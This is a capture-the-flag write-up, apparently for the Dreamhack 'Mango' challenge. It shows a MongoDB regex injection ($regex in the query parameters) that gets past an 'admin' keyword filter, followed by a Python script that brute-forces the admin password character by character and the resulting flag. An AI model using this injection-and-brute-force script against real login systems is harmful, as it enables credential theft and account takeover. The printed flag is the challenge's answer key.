Mango#

題目

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}

進來首先會看到

home

按照題目給的輸入 /login?uid=admin&upw=DH{32alphanumeric} 會發現被過濾掉了

admin

題目禁止掉了關於 admin 之類的字樣

ban

用 script 去用正則表示法跳過 DH 檢查猜密碼

1
import requests
2

3
url = 'http://host1.dreamhack.games:16943/login?uid[$regex]=ad.in&upw[$regex]=D.*{'
4
pw = ''
5
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
6

7
while True:
8
    for c in alphabet:
9
        new_pw = pw + c + '.*'
10
        print(new_pw)
11
        new_url = url + new_pw
12
        response = requests.get(new_url, timeout=10)
13
        if 'admin' in response.text:
14
            pw = new_pw[:-2]
15
            break
16
        elif 'err' in response.text:
17
            print('error:', new_pw)
18
            pw = '.*' + c
19
            break
20
        if c == '}':
21
            print('flag:', 'DH{' + pw)
22
            exit()
23
    else:
24
        break

flag

1
DH{89e50fa6fafe2604e33c0ba05843d3df}